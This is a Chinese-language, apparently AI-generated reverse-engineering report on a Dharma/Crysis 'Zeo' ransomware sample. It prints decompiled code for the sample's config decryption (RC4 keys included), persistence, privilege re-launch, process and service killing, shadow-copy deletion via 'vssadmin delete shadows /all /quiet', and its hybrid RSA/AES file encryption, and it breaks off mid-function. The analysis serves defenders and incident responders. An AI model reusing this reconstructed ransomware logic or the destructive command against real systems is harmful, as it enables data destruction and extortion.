AIGC标识 【AI】Zeo 勒索病毒(Dharma/Crysis 勒索家族)分析报告

# Zeo 勒索病毒(Dharma/Crysis 勒索家族)分析报告

分析对象:winhost(32 位 x86 PE)
家族归属:Dharma / Crysis 家族(Zeo 变种)
分析方式:IDA Pro 静态逆向 + 配置解密脚本辅助,未执行样本
结论速览:RSA-1024 + AES-256-CBC 混合加密,加密实现正确、密钥不可预测;常规手段无法解密,需依赖备份/卷影/文件恢复或未来密钥泄露。


1. 样本概述

项目 内容
文件名 winhost
架构 metapc-32(x86 32 位)
镜像基址 0x400000,大小 0x19000
节区 .text(rx) / .idata(r) / .rdata(r) / .data(rw)
静态导入 仅 9 个:GetProcAddress、LoadLibraryA、WaitForSingleObject、InitializeCriticalSectionAndSpinCount、LeaveCriticalSection、GetLastError、EnterCriticalSection、ReleaseMutex、CloseHandle
动态解析 通过内嵌 1498 字节 API 表 + GetProcAddress 动态解析约 100 个 API(见 §3.2)
混淆方式 全部字符串经两层 RC4 加密;API 动态解析;无壳
勒索信息 Info.hta-(nudasurg@tuta.io / nudasurg@cyberfear.com,受害者 ID:)
加密后缀 原文件名 + .id-<8位十六进制ID>.[nudasurg@tuta.io].zeo
家族标记 WDC3A3(文件头、互斥名)
加密范围 本地磁盘 + 网络共享(含 \\<主机名>\ 与 WNet 枚举共享)

该样本属 Dharma/Crysis 勒索家族,公开情报(PCRisk、malware-guide 等)显示该家族通过 RDP 爆破/钓鱼邮件传播,加密后文件命名为 xxx.jpg.id-9ECFA84E.[nudasurg@tuta.io].zeo 形式,与本样本行为完全吻合。


2. 配置解密(字符串还原)

2.1 双层 RC4 解密流程(入口 start @ 0x40A9D0)

反编译佐证(start 开头部分,IDA Hex-Rays):

void __noreturn start()
{
  rc4_crypt_4019D0((int)cfg_blob_40E080, (int)cfg_blob_40E080, 41276, (int)rc4key_40E000, 128);  // 0x40AA0A 第一层解密整块
  rc4_crypt_4019D0((int)&cfg_blob_40E080[1214], (int)&cfg_blob_40E080[1214], 1498, (int)cfg_blob_40E080, 128); // 0x40AA2B 第二层
  init_api_406E10(&cfg_blob_40E080[1214]);     // 0x40AA38 解析 API 表
  memset_406DD0((int)&cfg_blob_40E080[1214], 0, 1498);   // 0x40AA4C 擦除配置表
  ...
}

说明:第二层以第一层输出前 128 字节(key2)为密钥,解密偏移 1214 处 1498 字节的 API 函数名配置表;随后立即清零,防止内存取证。

rc4key_40E000 = 49D31524BE65C1551BE4CA5919930EF594B92C6C700272F08796D8AF93756FDA
                6240D8EF1CBED1A9A1C5794993341C5900D45C09043FFF7C39DD617F51C83E9A
                479A3570015E8BB05C898993DAD0EA201C3D0996DEA987A2288073D7C2BE6E34
                676781366263C92080889D637B322CD5F57D180D80A1015B267BAEACEE6713D7
key2 (二次密钥) = 4FFFC580AA882DBA5B59B556B324D06A09ADA8A303F00F46073C034C1736166DB
                  F75F6C918DB44CDD25727A9A8725814B300EAE73FF36D49F45B092F459049CBD
                  2117B56B8D745BBD30DC9E0F76D99A106175CB0A72BE1222D31B970B3B9C7971
                  8C5938171C04B7C8C39609B3C405824C75A1986D432145D21CE7E7087B2D7F1

2.2 data_40E080 结构布局(第一层解密后)

偏移 长度 内容
0x000 0x80 key2:二次 RC4 密钥
0x080 4 RSA 模数长度 = 0x80
0x084 0x80 RSA 公钥模数 N(1024 位)
0x284 4 RSA 指数长度 = 4
0x288 4 RSA 公钥指数 e = 0x00010001
0x488 ABCDEFGHIJKLMNOPQRSTUVWXYZ(盘符表)
0x4BE 1498 API 函数名配置表(dll;函数名…)
0x40C0 6 WDC3A3(家族标记)
0x40C6 .[nudasurg@tuta.io](加密文件附加后缀)
0x4146 .zeo(加密扩展名)
0x4282 %systemdrive%
0x42B2 %windir%\System32
0x42D6 %appdata%
0x42FE %sh(Startup)%
0x431A %sh(Common Startup)%
0x43C4 %sh(Desktop)%;%sh(Common Desktop)%;
0x4444 info.txt
0x44C4 Info.hta
0x49DE mshta.exe
0x49F2 / 0x49FE runas 动词 / open 动词
0x4CFA mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit
0x4544 / 0x45C4 nudasurg@tuta.io / nudasurg@cyberfear.com(ANSI)
0x6D3C doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)(目标扩展名)
0x9D3C all your data has been locked us\r\nYou want to return?\r\nwrite email nudasurg@tuta.io or nudasurg@cyberfear.com
0x0A98 0x3628 Info.hta 勒索信 HTML 模板
0x5D3C 跳过的扩展名黑名单(约 300 个,含 .exe/.dll/.ini/.bat 等)
0x4D3C 备用扩展名黑名单
0x8D3C boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;(系统关键文件跳过)
0x913C %windir%;(系统目录跳过)
0x953C 1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;(待杀进程)
0x993C FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;(待停服务)

2.3 API 动态解析表(1498 字节,init_api_406E10 解析)

覆盖模块:kernel32.dll(65 个)、advapi32.dll(13 个)、user32.dll(1 个)、Shell32.dll(1 个)、ntdll.dll(1 个)、mpr.dll(3 个)、ws2_32.dll(11 个)。
关键函数:CreateFileW / ReadFile / WriteFile / SetFilePointerEx / FindFirstFileW / MoveFileW / DeleteFileW / CreateProcessW / CreatePipe / CreateToolhelp32Snapshot / TerminateProcess / RegOpenKeyExW / WNetOpenEnumW / socket 系列等(详见 py/apiinfo.json)。


3. 主流程分析

3.1 入口 start @ 0x40A9D0 执行顺序

start 完整反编译(佐证,IDA Hex-Rays;函数名已按语义重命名):

void __noreturn start()
{
  rc4_crypt_4019D0((int)cfg_blob_40E080, (int)cfg_blob_40E080, 41276, (int)rc4key_40E000, 128);
  rc4_crypt_4019D0((int)&cfg_blob_40E080[1214], (int)&cfg_blob_40E080[1214], 1498, (int)cfg_blob_40E080, 128);
  init_api_406E10(&cfg_blob_40E080[1214]);
  memset_406DD0((int)&cfg_blob_40E080[1214], 0, 1498);
  prng_seed_init_4054B0();
  TickCount_4067D0 = GetTickCount_4067D0((int)hHandle, refcount_obj_406FA0);
  lcg_seed_406E60(TickCount_4067D0);
  refcount_obj_406FA0 = (int)create_refcount_obj_406FA0();
  if ( check_single_instance_4082D0(&hHandle, &p_hHandle, (DWORD *)v9) )
  {
    v4 = (int)HeapAlloc_406B50(0x14u);
    prng_gen_405690(20, (char *)v4);
    ext = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[27964], (int)cfg_blob_40E080, 128, 2u);
    v7 = parse_extensions_401E80((char *)ext);          // 目标扩展名: doc/arc/dbf/1c8/jpg
    ...
    WSAStartup_406B40(514, (int)v8);
    kill_procs_and_services_40A610();                   // 停服务+杀进程
    persist_copy_4078D0();                              // 持久化
    delete_shadow_copies_40A7F0();                      // 删卷影
    if ( v9[0] )
      start_wait_thread_40A790((int)p_hHandle, v9[0], refcount_obj_406FA0);
    else
      start_wait_thread_40A790((int)hHandle, 0, refcount_obj_406FA0);
    nop_stub_407BD0();
    start_drive_thread_409AA0((int)v7, refcount_obj_406FA0);   // 驱动器监视线程
    encrypt_all_drives_409780((int)v7, refcount_obj_406FA0);   // 遍历磁盘加密
    nop_stub_407BD0();
    delete_shadow_copies_40A7F0();
    if ( v9[0] || mutex_try_wait_4082A0(hHandle) )
      spread_and_notes_409EE0();                        // 网络共享+勒索信息
    while ( !refcount_get_406EE0((char *)refcount_obj_406FA0) )
      Sleep_406800(0x64u);
    HeapFree_406B70((void *)v4);
  }
  ExitProcess_406750(0);
}

执行顺序归纳:

  1. 双层 RC4 解密配置(§2.1)
  2. init_api_406E10 解析 API 表
  3. prng_seed_init_4054B0 初始化 PRNG(见 §5.3)
  4. lcg_seed_406E60(GetTickCount()) 种子 MSVC rand()
  5. create_refcount_obj_406FA0 创建引用计数对象(线程完成标志)
  6. check_single_instance_4082D0: 创建/打开互斥
    Global\syncronize_WDC3A3.A(管理员)/ Global\syncronize_WDC3A3.U(普通用户)
    返回 v9[0]=是否提权,v9[1]=是否已有实例在运行
  7. prng_gen_405690(20, v4) 生成 20 字节随机数
  8. 解密扩展名表 → parse_extensions_401E80 解析目标扩展名分组
  9. WSAStartup
  10. kill_procs_and_services_40A610 停止服务 + 杀进程
  11. persist_copy_4078D0 持久化(见 §4.1)
  12. delete_shadow_copies_40A7F0 删除卷影副本
  13. start_wait_thread_40A790(hHandle, v9[0], v3) 启动"等待线程"(见 §4.5)
  14. start_drive_thread_409AA0(v7, v3) 启动驱动器监视线程(§4.4)
  15. encrypt_all_drives_409780(v7, v3) 遍历所有逻辑盘加密
  16. 再次 delete_shadow_copies_40A7F0 / 杀进程
  17. 若提权或管理员互斥被占用 → spread_and_notes_409EE0(网络共享+勒索信息投放)
  18. 等待所有线程完成(refcount),ExitProcess(0)

### 3.2 主要子流程

| 功能 | 函数 | 说明 |
|---|---|---|
| 单实例检查 | `check_single_instance_4082D0` | 两个互斥 `syncronize_WDC3A3.A/.U`;检测是否已有实例 |
| UAC 提权 | `self_elevate_4083A0` | ShellExecuteExW "runas" 重启自身(参数 `-a`),可重试 |
| 持久化 | `persist_copy_4078D0` | 复制自身到 `%windir%\System32\`、`%appdata%\` 并写 Run 键;复制到用户/公共启动文件夹 |
| 写 Run 键 | `set_registry_run_407810` | HKCU→HKLM `Software\Microsoft\Windows\CurrentVersion\Run` |
| 删卷影 | `delete_shadow_copies_40A7F0` | CreatePipe + CreateProcessW 执行 cmd:`vssadmin delete shadows /all /quiet` |
| 杀进程 | `kill_processes_407FE0` | 遍历进程,终止 sqlservr.exe/mysqld.exe/outlook.exe/1c8.exe 等 |
| 停服务 | `stop_services_407F00` | 枚举并停止 mssqlserver/Firebird 等服务 |
| 驱动器遍历 | `encrypt_all_drives_409780` / `drive_share_watcher_4098E0` | GetLogicalDrives + `\\<主机名>\` 共享,每盘创建 worker |
| 目录遍历 | `walk_directory_4026C0` | FindFirstFileW/FindNextFileW 递归;回调 `dir_entry_filter_409080` 过滤 |
| 文件队列 | `queue_push_4024F0` / `queue_pop_4021F0` | 待加密文件 FIFO 队列(4 线程消费) |
| 过滤规则 | `build_skip_lists_4089D0` | 跳过扩展名黑名单 / 系统文件 / `%windir%` / `.zeo` 已加密文件 |
| 勒索信息 | `build_ransom_note_409B80` | 用卷序列号生成 Info.hta 内容 |
| 弹出勒索 | `show_ransom_note_409DA0` | ShellExecuteExW 执行 `mshta.exe <路径>\Info.hta` |
| 网络投放 | `spread_and_notes_409EE0` | 枚举网络共享写勒索信;向 System32/AppData/桌面/共享投放 Info.hta+info.txt 并弹出 |

---

## 4. 恶意行为细节

### 4.1 持久化(`persist_copy_4078D0` @ 0x4078D0)

反编译佐证(节选):

```c
// %windir%\System32
lpString = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17074], (int)cfg_blob_40E080, 128, 2u);
// %appdata%
v13      = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17110], (int)cfg_blob_40E080, 128, 2u);
// %sh(Startup)% / %sh(Common Startup)%
v8 = rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17150], ...);
v11= rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17178], ...);
if ( kernel32__GetModuleFileNameW_4186D0_ww((int)lpFile) )
{
  v9 = wstr_rfind_406C70(lpFile, '\\');
  v10 = (int)(v9 + 1);                                   // 取样本文件名
  if ( scat_401240(v7, 0x7FFF, 3, lpString, "\\", v10) > 0
    && expand_shell_path_407350(v7, 0x7FFF) > 0
    && copy_file_407710(lpFile, v7) )                    // 复制到 System32
    v5 = set_registry_run_407810(v10, v7);               // 写 Run 键
  if ( !v5 && scat_401240(v7, 0x7FFF, 3, v13, "\\", v10) > 0 && ... )
    v5 = set_registry_run_407810(v10, v7);               // 复制到 AppData + Run
  if ( scat_401240(v7, 0x7FFF, 3, v8, "\\", v10) > 0 && expand_shell_path_407350(v7, 0x7FFF) )
    v5 |= copy_file_407710(lpFile, v7) > 0;              // 用户启动文件夹
  if ( scat_401240(v7, 0x7FFF, 3, v11, "\\", v10) > 0 && expand_shell_path_407350(v7, 0x7FFF) )
    v5 |= copy_file_407710(lpFile, v7) > 0;              // 公共启动文件夹
}

set_registry_run_407810 中 Run 键路径反编译佐证:

// Software\Microsoft\Windows\CurrentVersion\Run
v6 = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17220], ...);
v2 = reg_set_value_407100(-2147483646, v6, a1);   // HKEY_CURRENT_USER
if ( v2 <= 0 )
  v5 = reg_set_value_407100(-2147483647, v6, a1) > 0;  // HKEY_LOCAL_MACHINE
  1. %windir%\System32\<样本名>(复制 + Run 键,成功则跳过后续)
  2. %appdata%\<样本名>(复制 + Run 键)
  3. %sh(Startup)%\<样本名>(用户启动文件夹,仅复制)
  4. %sh(Common Startup)%\<样本名>(公共启动文件夹,仅复制)

其中 %sh(name)% 通过 expand_shell_path_407350 / expand_sh_folder_407410 查询注册表
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 展开。

4.2 提权(self_elevate_4083A0 @ 0x4083A0)

非管理员(Win7+,isElevation_408090 检测 TokenElevation)时,
runas 动词重启自身并带 -a 参数,最多重试若干次。

反编译佐证(节选):

// runas
runas = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[18930], (int)cfg_blob_40E080, 128, 2u);
pExecInfo.lpVerb     = runas;      // "runas"
pExecInfo.lpFile     = (LPCWSTR)lpFile;   // 自身完整路径(GetModuleFileNameW)
pExecInfo.lpParameters = aA;       // "-a"
pExecInfo.nShow      = 1;
do
  v1 = a1--;                       // 重试次数
while ( v1 > 0 && !ShellExecuteExW_406B00(&pExecInfo) );

4.3 文件加密调度链

反编译佐证(drive_worker_create_4093B0 节选):

lpParameter = HeapAlloc_406B50(0x10014u);
if ( wstr_copy_bounded_401000((_WORD *)lpParameter + 4, 0x7FFF, a1) > 0
  && (lpParameter[16386] = build_skip_lists_4089D0(a3)) != 0
  && (s = (WCHAR *)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[27964], ...), // 扩展名表
      v7 = parse_extensions_401E80(s), ...,
      (v9 = gen_encrypt_config_408580(a2, (int)v7)) != 0) )
{
  v6 = HeapAlloc_406B50(0x2Cu);
  queue_init_402380(v6);
  lpParameter[1] = v9;                    // 加密配置(含 AES 密钥/RSA 密文)
  *lpParameter = v6;                      // 文件队列
  lpParameter[16387] = a3;                // 是否递归
  lpParameter[16388] = a4;                // 引用计数对象
  return CreateThread_4068B0(0, 0, drive_encrypt_worker_4091F0, lpParameter, 0, 0);
}
encrypt_all_drives_409780
 └─ drive_worker_create_4093B0(每盘)
     ├─ build_skip_lists_4089D0(过滤规则)
     ├─ gen_encrypt_config_408580(生成 208B 加密配置,见 §5)
     └─ CreateThread(drive_encrypt_worker_4091F0)
         ├─ 4× CreateThread(file_encrypt_thread_408D90)  ← 消费文件队列
         │     └─ 逐文件: 生成16B IV → encrypt_file_dispatch_4033B0 → 加密
         └─ CreateThread(dir_walk_thread_4091A0)  ← 遍历目录入队

4.4 驱动器监视(drive_share_watcher_4098E0 @ 0x4098E0)

  • 遍历 \\<计算机名>\ 网络共享(wnet_walk_shares_4094E0 用 WNetOpenEnumW/WNetEnumResourceW 递归)
  • 轮询 GetLogicalDrives,发现新接入的磁盘即触发加密
  • 直到主流程引用计数归零

反编译佐证(新盘检测):

do
{
  LogicalDrives_4186FC_w = kernel32__GetLogicalDrives_4186FC_w(...);
  if ( LogicalDrives_4186FC_w_1 != LogicalDrives_4186FC_w )   // 磁盘集合发生变化
  {
    v11 = LogicalDrives_4186FC_w & ~LogicalDrives_4186FC_w_1 & 0xFFFFFFFC;  // 新出现的盘
    for ( i = 0; i < 32; ++i )
      if ( (v11 & (1 << i)) != 0 )
      { v7[0] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"[i]; v7[1] = ':'; v7[2] = 0;
        drive_worker_create_4093B0(v7, ...); drive_worker_create_4093B0(v7, ...); }
    LogicalDrives_4186FC_w_1 = LogicalDrives_4186FC_w;
  }
  Sleep_406800(0x64u);
}
while ( !refcount_get_406EE0(*(char **)(v3 + 4)) );   // 直到加密完成标志

4.5 等待/接管线程(wait_thread_40A710 @ 0x40A710)

反编译佐证:

DWORD __stdcall wait_thread_40A710(LPVOID lpThreadParameter)
{
  if ( *((_DWORD *)lpThreadParameter + 1) )          // 已有实例在运行
  {
    WaitForSingleObject(*(HANDLE *)lpThreadParameter, 0xFFFFFFFF);   // 等其退出
  }
  else
  {
    self_elevate_4083A0(*(int *)&cfg_blob_40E080[19141]);            // 提权重启
    while ( mutex_try_wait_4082A0(*(HANDLE *)lpThreadParameter) )    // 等管理员互斥释放
      Sleep_406800(0x1F4u);
    refcount_set_406F20(*((char **)lpThreadParameter + 2));          // 完成标志
  }
  HeapFree_406B70(lpThreadParameter);
  return 0;
}
  • 若已有实例在运行:等待其互斥释放后结束
  • 否则:非管理员时先 self_elevate_4083A0 提权重启;循环检查互斥;完成时置引用计数

4.6 删除卷影副本(delete_shadow_copies_40A7F0 @ 0x40A7F0)

反编译佐证(管道 + cmd 执行 vssadmin):

BOOL delete_shadow_copies_40A7F0()
{
  // mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit
  v8 = (LPCSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[19706], (int)cfg_blob_40E080, 128, 1u);
  lpString = (LPCWSTR)rc4_dec_wstr_401A50((int)&cfg_blob_40E080[17054], ...);   // cmd 路径
  if ( wstr_copy_bounded_401080(v15, 0x7FFF, lpString) > 0 )
    expand_shell_path_407350(v15, 0x7FFF);
  if ( kernel32__CreatePipe_418780_w((int)&v6, (int)&v7) )      // 输出管道
  {
    if ( kernel32__CreatePipe_418780_w((int)&v17, (int)&v18) )  // 输入管道
    {
      v10[0] = 68;  v10[11] = 257;  v12 = v6;  v13 = v18;  v14 = v18;
      if ( kernel32__CreateProcessW_418788_w((int)v15, 0, 0, 0, 1, 0, 0, 0, (int)v10, hObject) )
      {
        kernel32__lstrlenA_4186F0_w(v8, (int)v9);
        kernel32__WriteFile_418760_w(v7, v8);        // 向 cmd 写入删除卷影命令
      }
    }
  }
  ...
}

4.7 杀进程/停服务(kill_procs_and_services_40A610 @ 0x40A610)

反编译佐证(进程枚举 + 终止,kill_processes_407FE0):

int __cdecl kill_processes_407FE0(_DWORD *a1)        // a1 = "1c8.exe;1cv77.exe;...;sqlservr.exe;" 列表
{
  hObject = CreateToolhelp32Snapshot_406A00(2u, 0);  // TH32CS_SNAPPROCESS
  pe.dwSize = 556;
  if ( kernel32__Process32FirstW_4187B0_w(hObject, &pe) )
    while ( Process32NextW_406A10(hObject, &pe) )
      if ( wstr_cmp_401B30(a1, pe.szExeFile) > -1 )  // 命中黑名单进程名
        v4 |= terminate_process_407F90(pe.th32ProcessID);  // OpenProcess+TerminateProcess
  return v4;
}

服务停止(stop_service_407E00)同样通过 OpenSCManagerW + OpenServiceW +
ControlService(hSCObject, 1 /*SERVICE_CONTROL_STOP*/, &ServiceStatus) 并轮询等待
dwCurrentState == SERVICE_STOPPED(SERVICE_STOP_PENDING 时最多等 0xBB8×100ms)。


5. 加密机制深度分析(核心)

5.1 加密配置生成 gen_encrypt_config_408580 @ 0x408580

每个磁盘分区生成一次 208 字节配置结构 v16。

反编译佐证(核心逻辑):

_DWORD *__cdecl gen_encrypt_config_408580(int a1, int a2)
{
  n0x20  = *(_DWORD *)&cfg_blob_40E080[128];               // RSA 模数长度 = 0x80
  anti_data_4186B0 = (char *)rc4_dec_alloc_401A10((int)&cfg_blob_40E080[132], n0x20,
                                                  (int)cfg_blob_40E080, 128);  // 解出 RSA 模数 N
  v17 = *(_DWORD *)&cfg_blob_40E080[644];                  // 指数长度 = 4
  v21 = (int)rc4_dec_alloc_401A10((int)&cfg_blob_40E080[648], v17, (int)cfg_blob_40E080, 128); // e=0x10001
  v16 = (int)HeapAlloc_406B50(0xD0u);                      // 208B 配置结构
  ...
  sha1_init_405DC0((int)v22);
  sha1_update_405E20(v22, anti_data_4186B0, n0x20);        // SHA1(RSA 模数 N)
  sha1_final_405EB0(v16 + 164, (int)v22);                  // 20B SHA1 存入 v16+164
  if ( !prng_gen_405690(32, v16) )                         // 生成 32B AES 密钥 → v16[0:32]
  {
    memcpy_406D80(v19, (char *)v16, 0x20u);                // v19 = 32B AES 密钥
    memcpy_406D80(v20, (char *)(v16 + 32), 4u);            // v20 = 4B 卷序列号
    rsa_ctx_init_405B80(&v14, anti_data_4186B0, n0x20, v21, v17);   // 载入 RSA 公钥(N, e)
    if ( rsa_encrypt_pkcs1_405CF0(v14, v19, 36, v16 + 36) == 128 )  // RSA 加密 36B → v16+36
    {
      *(v16 + 192) = rc4_dec_alloc_401A10(&cfg_blob_40E080[16576], 6, ...); // "WDC3A3"
      *(v16 + 188) = rc4_dec_wstr_401A50(&cfg_blob_40E080[16582], ...);     // ".[nudasurg@tuta.io]"
      *(v16 + 184) = rc4_dec_wstr_401A50(&cfg_blob_40E080[16710], ...);     // ".zeo"
      v6 = crc32_405840(0, (_BYTE *)v16, 32);                               // CRC32(key)
      v7 = crc32_405840(v6, (_BYTE *)(v16 + 164), 20);                      // ...||SHA1
      v8 = crc32_405840(v7, (_BYTE *)(v16 + 36), 128);                      // ...||RSA密文
      *(v16 + 196) = crc32_405840(v8, *(_BYTE **)(v16 + 192), 6);           // ...||WDC3A3
      *(v16 + 200) = a1;  *(v16 + 204) = a2;
    }
  }
  ...
}
偏移 长度 内容 来源
+0x00 32 AES-256 文件密钥 prng_gen_405690(32, v16) 一次性生成
+0x20 4 系统盘卷序列号(GetVolumeInformationW 后 bswap) get_volume_serial_402630("%systemdrive%")
+0x24 128 RSA 密文:RSA(PKCS#1 v1.5, 36B) rsa_encrypt_pkcs1_405CF0
+0xA4 20 SHA1(RSA 模数 N) sha1_*_405DC0/E20/EB0
+0xB8 4 .zeo(跳过判断用) 配置解密
+0xBC .[nudasurg@tuta.io](加密后缀) 配置解密
+0xC0 6 WDC3A3 配置解密
+0xC4 4 CRC32(key‖SHA1‖RSA密文‖WDC3A3) crc32_405840
+0xC8 扩展名表指针 / 过滤规则指针 调用参数

36 字节明文 = 32B AES 密钥 + 4B 卷序列号(即文件名的 id-XXXX 部分)。
卷序列号可从加密文件名中直接读出,但无法据此还原 AES 密钥。

5.2 文件加密 encrypt_file_dispatch_4033B0 @ 0x4033B0

按文件大小分两条路径。分发逻辑反编译佐证:

int __cdecl encrypt_file_dispatch_4033B0(_WORD *a1, LPVOID a2, _DWORD *a3, char *a4, ...)
{
  hObject = (HANDLE)kernel32__CreateFileW_41871C_w((int)a1, 0x80000000);   // 打开原文件
  if ( hObject != (HANDLE)-1 )
  {
    if ( kernel32__GetFileSizeEx_4186CC_w(hObject, &p_n0x180000) )
    {
      CloseHandle_406890(hObject);
      if ( p_n0x180000 )
      {
        if ( p_n0x180000 <= 0x180000 )        // <= 1.5MB → 小文件路径
          return encrypt_file_small_402880(a1, a2, a3, a4, a5, n0x100000, a7, a8, a9, a10, a11);
        else                                  // > 1.5MB → 大文件路径
          return encrypt_file_big_403090(a1, a2, (int)a3, (int)a4, a5, n0x100000, ...);
      }
    }
  }
  return v12;
}

小文件(≤ 0x180000 = 1.5MB)encrypt_file_small_402880 @ 0x402880

反编译佐证(关键反汇编节选,0x402A73-0x402C56):

402a73  call ReadFile          ; 读取 ≤1MB 到缓冲区 a5
402a80  cmp  [var_C], 0        ; var_C = 实际读取字节数
402a84  jz   loc_402B04        ; EOF(读 0 字节) → 写头部
402a8c  mov  ecx, [var_C]
402a8f  cmp  ecx, [n0x100000]
402a92  jnb  short loc_402AAA  ; 未读满则不计算填充
402a94  ... ; v30 = 16 - var_C % 16   (PKCS7 风格填充长度)
402ac0  call aes_cbc_encrypt_403960  ; AES-256-CBC 加密该块
402ad8  call WriteFile          ; 写入密文
402aff  jmp  loc_402C62         ; 回到 ReadFile 继续
402b04  [构建头部并追加写入文件末尾]  ; EOF 后:
402b1d  mov dword ptr [a5+4], 2        ; 魔数 2
402b2a  mov dword ptr [a5+8], 417AFE0Ch ; 魔数 0x417AFE0C
402b3d  mov dword ptr [a5+18h], 20h    ; [24] = 32 (文件名存在时)
402b50  call memcpy_406D80     ; 复制原文件名(UTF-16LE, 含结尾\0)
402b8f  call memcpy_406D80     ; "WDC3A3"(6B)
402bad  call memcpy_406D80     ; SHA1(N)(20B)
402bc0  lea ecx, [ebp+var_8]   ; v30 = 末块填充长度(16-末块长%16)
402c08  call memcpy_406D80     ; IV(16B) / v30(4B) / RSA密文(128B) / size(4B)
402c2f  call WriteFile         ; 写入头部
402c51  call SetEndOfFile_406930 ; 截断
402cdb  call DeleteFileW_4067E0   ; 删除原文件
1. 打开原文件(只读),创建目标文件(GENERIC_WRITE)
2. aes_4034C0(v22, v16, IV, 1)  构建 AES-256 密钥扩展(14 轮)
3. 循环: ReadFile(≤1MB) → aes_cbc_encrypt_403960 加密 → WriteFile
4. EOF 后在文件末尾追加头部(见下)
5. SetEndOfFile + DeleteFileW(原文件)

加密文件布局(小文件)[AES-256-CBC 密文(各块填充至16)] [32B块][原文件名UTF-16(含结尾\0\0)] [WDC3A3] [SHA1(N)20B] [IV 16B] [v30=末块填充长度 4B] [RSA密文128B] [size=32+文件名长(含\0) 4B]

其中 32B 块 = 00 00 00 00 | 02 00 00 00 | 0C FE 7A 41 | 00×12 | 20 00 00 00 | 00 00 00 00(魔数 2、0x417AFE0C)。

注意:

  1. 加密文件名实参为 2*v1+2(含结尾 NULL),故尾部元数据中的文件名字段带 \0\0
  2. IV 之后的 4B 字段为末块填充长度 v3016 - 末块长度%16,见反汇编 0x402BC0 写入 var_8),
    可用于精确还原原文件大小:原大小 = 密文总长 - v30

大文件(> 1.5MB)encrypt_file_big_403090 @ 0x403090

反编译佐证(encrypt_big_stream_402EB0 节选,读取 3 段并加密):

v11 = a2 + 32;  v10 = (char *)(a2 + 56);        // 密文体起点
if ( a3 < 0xC0038 || !kernel32__SetFilePointerEx_418764_w((int)a1, v5) || v8 < 0 )
  return 0;
div64_401940(&v12, v7, v8, 3);                   // 取文件大小
if ( v12 <= 0x40000 )  return 0;
for ( i = 0; i < 2 && read_chunk_402DF0(a1, &v5, &v10[0x40000 * i], &v11, v12, ...); ++i ); // 读偏移0、0x40000
v6 = -1;  v5 = -262144;
if ( i == 2 && SetFilePointerEx(a1, v5) && read_chunk_402DF0(a1, &v7, &v10[0x40000*i], ...) ) ++i; // 读文件尾
if ( i != 3 )  return 0;
memset_406DD0(a2, 0, 32);
*(_DWORD *)(a2 + 4) = 1;                          // 魔数 1
*(_DWORD *)(a2 + 8) = 2024408061;                 // 0x78B54C3D
*(_DWORD *)(a2 + 12) = 3;                         // 段数
*(_DWORD *)(a2 + 16) = 0x40000;                   // 段长
*(_DWORD *)(a2 + 24) = 786488;                    // 总长
*(_DWORD *)(a2 + 20) = crc32_405840(0, v10, 786432);
aes_cbc_encrypt_403960(a4, v10, v10, 786432);     // 加密 3×256KB
return 786488;
1. MoveFileW(原文件 → 目标名)(先重命名)
2. 打开目标文件(写),读取 3 段各 256KB:文件头 0x00000、偏移 0x40000、文件尾 -0x40000
3. aes_cbc_encrypt_403960 加密这 786432 字节
4. 文件头写 [32B块(魔数1, 段数3, 段长0x40000, CRC32, 总长786488)] [24B间隔] [786432B密文]
5. 尾部追加 [原文件名(含\0)][WDC3A3][SHA1][IV][0][RSA][size=786488+文件名长]
6. SetEndOfFile 截断;用 0 覆盖原数据段位置

大文件仅加密 3×256KB(首 512KB + 尾 256KB),中间内容不加密但会被截断。

5.3 随机数发生器(PRNG)

种子初始化 prng_seed_init_4054B0 @ 0x4054B0

反编译佐证(节选):

void prng_seed_init_4054B0()
{
  prng_state_4186B0 = (char *)HeapAlloc_406B50(0x20u);   // 32B 状态(堆残留垃圾)
  *(_DWORD *)a1 ^= rdtsc_4053B0(&i_1);                   // a1[0:4] ^= rdtsc 低32
  v3 ^= i_1;                                             // a1[4:8] ^= rdtsc 高32
  QueryPerformanceCounter_4068D0();                      // QPC
  *(_DWORD *)&a1[n8] ^= v5;  n8+=4;                     // a1[8:12] ^= QPC 低32
  *(_DWORD *)&a1[n8] ^= v4;  n8+=4;                     // a1[12:16] ^= QPC 高32
  *(_DWORD *)&a1[n8] ^= GetTickCount_4067D0();          // a1[16:20] ^= TickCount
  *(_DWORD *)&a1[n8] ^= GetCurrentProcessId_4068E0();   // a1[20:24] ^= PID
  prng_mix_4053F0(a1, 32);                               // SHA1 搅拌
  i_1 = (unsigned int)rdtsc_4053B0(0) >> 16;
  for ( i = 0; i < i_1; ++i )                            // 变次数 rdtsc 循环再搅拌
  { *(_DWORD *)&a1[n8] ^= rdtsc_4053B0(&i_1); ... prng_mix_4053F0(0, 0); }
  lcg_seed_406E60(GetTickCount_4067D0());               // 种子 MSVC rand()
}

输出 prng_gen_405690 @ 0x405690

反编译佐证(完整):

int __cdecl prng_gen_405690(int n0x14, char *input_data)
{
  *(_DWORD *)prng_state_4186B0 ^= rdtsc_4053B0(&v7);      // state[0:4] ^= rdtsc低
  *((_DWORD *)prng_state_4186B0 + 1) ^= v7;               // state[4:8] ^= rdtsc高
  *(_DWORD *)prng_state_4186B0 ^= rdtsc_4053B0(0);        // state[0:4] ^= rdtsc低(第二次)
  sha1_init_405DC0((int)v3);
  sha1_update_405E20(v3, prng_state_4186B0, 32);
  sha1_final_405EB0((int)key, (int)v3);                   // key = SHA1(state)
  RC4_KeyScheduling_4058A0(rc4_state, (int)key, 20);
